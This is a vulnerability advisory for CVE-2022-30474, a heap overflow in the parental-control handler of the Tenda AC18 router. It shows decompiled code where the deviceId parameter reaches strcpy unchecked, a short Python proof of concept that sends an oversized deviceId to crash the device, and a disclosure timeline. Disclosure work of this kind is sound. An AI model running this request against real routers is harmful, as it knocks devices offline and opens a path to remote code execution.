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Tenda Router AC18 Vulnerability

This vulnerability lies in the `/goform/saveParentControlInfo` page which influences the latest version of Tenda Router AC18. (The latest version is [AC18_V15.03.05.19\(6318\)](#))

Vulnerability Description

There is a **heap overflow** vulnerability in function `saveParentControlInfo`.

In function `saveParentControlInfo` it reads user provided parameter `deviceId` into `src`, and this variable is passed into function `strcpy` without any length check, which may overflow the heap-based buffer `ptr`.

```

46 v29 = 0;
47 src = (char *)websgetvar(al, "deviceId", (int)&unk_EDB68);
48 v27 = (char *)websgetvar(al, "enable", (int)&unk_EDB68);
49 nptr = (char *)websgetvar(al, "time", (int)&unk_EDB68);
50 v25 = (char *)websgetvar(al, "url_enable", (int)&unk_EDB68);
51 v24 = (char *)websgetvar(al, "urls", (int)&unk_EDB68);
52 v23 = (char *)websgetvar(al, "day", (int)&unk_EDB68);
53 v22 = websgetvar(al, "block", (int)&unk_EDB68);
54 v21 = websgetvar(al, "connectType", (int)&unk_EDB68);
55 v20 = (char *)websgetvar(al, "limit_type", (int)"1");
56 v19 = websgetvar(al, "deviceName", (int)&unk_EDB68);
57 if ( *v19 )
58     sub_C6BB0(v19, src);
59 if ( *nptr )
60 {
61     memset(s1, 0, sizeof(s1));
62     memset(s2, 0, sizeof(s2));
63     sscanf(nptr, "%[^-]-%s", s1, s2);
64     if ( !strcmp((const char *)s1, (const char *)s2) )
65     {
66         sub_2C40C(
67             al,
68             "HTTP/1.1 200 OK\nContent-type: text/plain; charset=utf-8\nPragma: no-cache\nCache-Control: no-cache\n\n");
69         sub_2C40C(al, "{\\"errCode\\":%d}", 1);
70         return sub_2C954(al, 200);
71     }
72 }
73 ptr = malloc(0x254u);
74 memset(ptr, 0, 0x254u);
75 strcpy((char *)ptr + 2, src);
76 v17 = malloc(0x254u);
77 memset(v17, 0, 0x254u);
78 SetValue((int)"parent.global.en", (int)"1");
79 SetValue((int)"filter.url.en", (int)"1");
80 SetValue((int)"filter.mac.en", (int)"1");
81 strcpy((char *)v17 + 2, src);
82 strcpy((char *)v17 + 3, nptr);

```

So by requesting the page `/goform/saveParentControlInfo`, the attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

PoC

`import requests`

`IP = "10.10.10.1"`

`url = f"http://{IP}/goform/saveParentControlInfo?"`

`url += "deviceId=" + "s" * 0x1000`

`response = requests.get(url)`

Timeline

- 2022-05-07: Report to CVE & CNVD;
- 2022-05-26: CVE ID assigned (CVE-2022-30474)
- 2022-05-30: CNVD ID assigned (CNVD-2022-41848)

Acknowledge

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